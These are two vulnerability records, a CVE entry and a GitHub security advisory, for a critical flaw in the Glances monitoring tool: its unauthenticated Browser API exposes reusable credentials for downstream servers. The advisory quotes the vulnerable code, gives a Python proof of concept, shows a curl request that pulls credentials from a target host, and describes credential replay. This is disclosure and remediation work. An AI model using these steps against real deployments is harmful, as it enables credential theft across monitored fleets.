{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret. If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance. Version 4.5.2 fixes the issue."
    }
  ],
  "id": "CVE-2026-32633",
  "lastModified": "2026-03-18T19:16:05.347",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-18T18:16:28.933",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nicolargo/glances/commit/879ef8688ffa1630839549751d3c7ef9961d361e"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-r297-p3v4-wp8m"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-r297-p3v4-wp8m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        },
        {
          "lang": "en",
          "value": "CWE-522"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.2-dev01"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:35:01Z",
    "nvd_published_at": "2026-03-18T18:16:28Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nIn Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.\n\nIf the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.\n\n## Details\n\nThe Browser API route simply returns the raw servers list:\n\n```python\n# glances/outputs/glances_restful_api.py:799-805\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])\n```\n\nThe main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:\n\n```python\n# glances/outputs/glances_restful_api.py:475-480\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)\n```\n\nThe Glances web server binds to `0.0.0.0` by default:\n\n```python\n# glances/main.py:425-427\nparser.add_argument(\n    \u0027--bind\u0027,\n    default=\u00270.0.0.0\u0027,\n    dest=\u0027bind_address\u0027,\n)\n```\n\nDuring Central Browser polling, server entries are modified in-place and gain a `uri` field:\n\n```python\n# glances/servers_list.py:141-148\ndef __update_stats(self, server):\n    server[\u0027uri\u0027] = self.get_uri(server)\n    ...\n    if server[\u0027protocol\u0027].lower() == \u0027rpc\u0027:\n        self.__update_stats_rpc(server[\u0027uri\u0027], server)\n    elif server[\u0027protocol\u0027].lower() == \u0027rest\u0027 and not import_requests_error_tag:\n        self.__update_stats_rest(f\"{server[\u0027uri\u0027]}/api/{__apiversion__}\", server)\n```\n\nFor protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n    if server[\u0027password\u0027] != \"\":\n        if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n            clear_password = self.password.get_password(server[\u0027name\u0027])\n            if clear_password is not None:\n                server[\u0027password\u0027] = self.password.get_hash(clear_password)\n        uri = \u0027http://{}:{}@{}:{}\u0027.format(\n            server[\u0027username\u0027],\n            server[\u0027password\u0027],\n            server[\u0027name\u0027],\n            server[\u0027port\u0027],\n        )\n    else:\n        uri = \u0027http://{}:{}\u0027.format(server[\u0027name\u0027], server[\u0027port\u0027])\n    return uri\n```\n\nPassword lookup falls back to a global default:\n\n```python\n# glances/password_list.py:55-58\ntry:\n    return self._password_dict[host]\nexcept (KeyError, TypeError):\n    return self._password_dict[\u0027default\u0027]\n```\n\nThe sample configuration explicitly supports browser-wide default password reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# localhost=abc\n# default=defaultpassword\n```\n\nThe secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:56-57\nif args.password != \"\":\n    self.uri = f\u0027http://{args.username}:{args.password}@{args.client}:{args.port}\u0027\n```\n\nThe Browser WebUI also consumes that raw `uri` directly and redirects the user to it:\n\n```javascript\n// glances/outputs/static/js/Browser.vue:83-103\nfetch(\"api/4/serverslist\", { method: \"GET\" })\n...\nwindow.location.href = server.uri;\n```\n\nSo once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.\n\n## PoC\n\n### Step 1: Verified local live proof that server objects contain credential-bearing URIs\n\nThe following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@\u0027\nimport importlib.util\nimport json\nimport sys\nimport threading\nimport types\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom defusedxml import xmlrpc as defused_xmlrpc\n\npkg = types.ModuleType(\u0027glances\u0027)\npkg.__apiversion__ = \u00274\u0027\nsys.modules[\u0027glances\u0027] = pkg\n\nclient_mod = types.ModuleType(\u0027glances.client\u0027)\nclass GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):\n    def set_timeout(self, timeout):\n        self.timeout = timeout\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules[\u0027glances.client\u0027] = client_mod\n\nglobals_mod = types.ModuleType(\u0027glances.globals\u0027)\nglobals_mod.json_loads = json.loads\nsys.modules[\u0027glances.globals\u0027] = globals_mod\n\nlogger_mod = types.ModuleType(\u0027glances.logger\u0027)\nlogger_mod.logger = types.SimpleNamespace(\n    debug=lambda *a, **k: None,\n    warning=lambda *a, **k: None,\n    info=lambda *a, **k: None,\n    error=lambda *a, **k: None,\n)\nsys.modules[\u0027glances.logger\u0027] = logger_mod\n\npassword_list_mod = types.ModuleType(\u0027glances.password_list\u0027)\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules[\u0027glances.password_list\u0027] = password_list_mod\n\ndynamic_mod = types.ModuleType(\u0027glances.servers_list_dynamic\u0027)\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules[\u0027glances.servers_list_dynamic\u0027] = dynamic_mod\n\nstatic_mod = types.ModuleType(\u0027glances.servers_list_static\u0027)\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules[\u0027glances.servers_list_static\u0027] = static_mod\n\nspec = importlib.util.spec_from_file_location(\u0027tested_servers_list\u0027, Path(\u0027glances/servers_list.py\u0027))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        _ = self.rfile.read(int(self.headers.get(\u0027Content-Length\u0027, \u00270\u0027)))\n        self.send_response(401)\n        self.end_headers()\n    def log_message(self, *args):\n        pass\n\nhttpd = HTTPServer((\u0027127.0.0.1\u0027, 0), Handler)\nport = httpd.server_address[1]\nthread = threading.Thread(target=httpd.serve_forever, daemon=True)\nthread.start()\n\nclass FakePassword:\n    def get_password(self, host=None):\n        return \u0027defaultpassword\u0027\n    def get_hash(self, password):\n        return f\u0027hash({password})\u0027\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nsl._columns = [{\u0027plugin\u0027: \u0027system\u0027, \u0027field\u0027: \u0027hr_name\u0027}]\nserver = {\n    \u0027key\u0027: f\u0027target:{port}\u0027,\n    \u0027name\u0027: \u0027127.0.0.1\u0027,\n    \u0027ip\u0027: \u0027203.0.113.77\u0027,\n    \u0027port\u0027: port,\n    \u0027protocol\u0027: \u0027rpc\u0027,\n    \u0027username\u0027: \u0027glances\u0027,\n    \u0027password\u0027: \u0027\u0027,\n    \u0027status\u0027: \u0027UNKNOWN\u0027,\n    \u0027type\u0027: \u0027STATIC\u0027,\n}\nsl.get_servers_list = lambda: [server]\n\nsl._GlancesServersList__update_stats(server)\nsl._GlancesServersList__update_stats(server)\nhttpd.shutdown()\nthread.join(timeout=2)\nprint(json.dumps(sl.get_servers_list(), indent=2))\n\u0027@ | python -\n```\n\nVerified output:\n\n```json\n[\n  {\n    \"key\": \"target:57390\",\n    \"name\": \"127.0.0.1\",\n    \"ip\": \"203.0.113.77\",\n    \"port\": 57390,\n    \"protocol\": \"rpc\",\n    \"username\": \"glances\",\n    \"password\": null,\n    \"status\": \"PROTECTED\",\n    \"type\": \"STATIC\",\n    \"uri\": \"http://glances:hash(defaultpassword)@127.0.0.1:57390\",\n    \"columns\": [\n      \"system_hr_name\"\n    ]\n  }\n]\n```\n\nThis is the same raw object shape that `/api/4/serverslist` returns.\n\n### Step 2: Remote reproduction on a live Browser instance\n\n1. Configure Glances Browser mode with a saved default password for downstream servers:\n\n```ini\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start the Browser/API instance without front-end authentication:\n\n```bash\nglances --browser -w -C ./glances.conf\n```\n\n3. Ensure at least one protected downstream server is polled and marked `PROTECTED`.\n\n4. From any machine that can reach the Glances Browser API, fetch the raw server list:\n\n```bash\ncurl -s http://TARGET:61208/api/4/serverslist\n```\n\n5. Observe entries like:\n\n```json\n{\n  \"name\": \"internal-glances.example\",\n  \"status\": \"PROTECTED\",\n  \"uri\": \"http://glances:\u003cpbkdf2_hash\u003e@internal-glances.example:61209\"\n}\n```\n\n## Impact\n\n- **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`.\n- **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.\n- **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet.\n- **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin.\n\n## Recommended Fix\n\nDo not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth.\n\n```python\n# glances/outputs/glances_restful_api.py\n\ndef _sanitize_server(self, server):\n    safe = dict(server)\n    safe.pop(\u0027password\u0027, None)\n    safe.pop(\u0027uri\u0027, None)\n    return safe\n\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    servers = self.servers_list.get_servers_list() if self.servers_list else []\n    return GlancesJSONResponse([self._sanitize_server(server) for server in servers])\n```\n\nAnd in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.",
  "id": "GHSA-r297-p3v4-wp8m",
  "modified": "2026-03-18T21:48:47Z",
  "published": "2026-03-16T16:35:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-r297-p3v4-wp8m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32633"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/879ef8688ffa1630839549751d3c7ef9961d361e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances\u0027s Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`"
}